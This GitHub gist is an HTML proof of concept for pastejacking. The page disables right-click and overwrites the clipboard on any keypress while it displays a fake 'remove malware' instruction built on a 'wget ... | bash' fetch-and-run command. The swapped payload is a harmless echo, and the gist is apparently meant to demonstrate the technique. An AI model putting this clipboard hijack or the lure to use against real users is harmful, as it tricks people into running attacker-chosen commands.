Skip to content

Instantly share code, notes, and snippets.

@JoyGhoshs
Created September 7, 2021 08:45
Show Gist options
  • Save JoyGhoshs/aaa51af328643a17948ba8589bcaed77 to your computer and use it in GitHub Desktop.
Save JoyGhoshs/aaa51af328643a17948ba8589bcaed77 to your computer and use it in GitHub Desktop.
<html>
<head>
<title> POC-Pastejacking </title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Glory:wght@100&display=swap" rel="stylesheet">
<script>
document.addEventListener("contextmenu", function(e){
e.preventDefault();
}, false);
</script>
<script>
function copyTextToClipboard(text) {
var textArea = document.createElement("textarea");
textArea.style.position = 'fixed';
textArea.style.top = 0;
textArea.style.left = 0;
textArea.style.width = '2em';
textArea.style.height = '2em';
textArea.style.padding = 0;
textArea.style.border = 'none';
textArea.style.outline = 'none';
textArea.style.boxShadow = 'none';
textArea.style.background = 'transparent';
textArea.value = text;
document.body.appendChild(textArea);
textArea.select();
try {
var successful = document.execCommand('copy');
var msg = successful ? 'successful' : 'unsuccessful';
console.log('Antivirus code copy was ' + msg);
} catch (err) {
console.log('Oops, unable to copy');
}
document.body.removeChild(textArea);
}
document.addEventListener('keydown', function(event) {
var ms = 800;
var start = new Date().getTime();
var end = start;
while(end < start + ms) {
end = new Date().getTime();
}
copyTextToClipboard('echo "Get Malware"\n');
});
</script>
<style>
#poc-header{
text-align:center;
margin: auto;
font-family: 'Glory', sans-serif;
font-size: 40px;
}
.poc {
height: 100%;
width: 100%;
display: flex;
position: fixed;
align-items: center;
justify-content: center;
}
</style>
</head>
<body oncontextmenu="return false;">
<div id="poc-header">
// Pastejacking Poc
</div>
<center> By Joy Ghosh</center>
<div class="poc">
// Copy This To remove Malware from your linux pc:<br/>
wget antivirus.google.com/malware-remove.sh -o- | bash
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment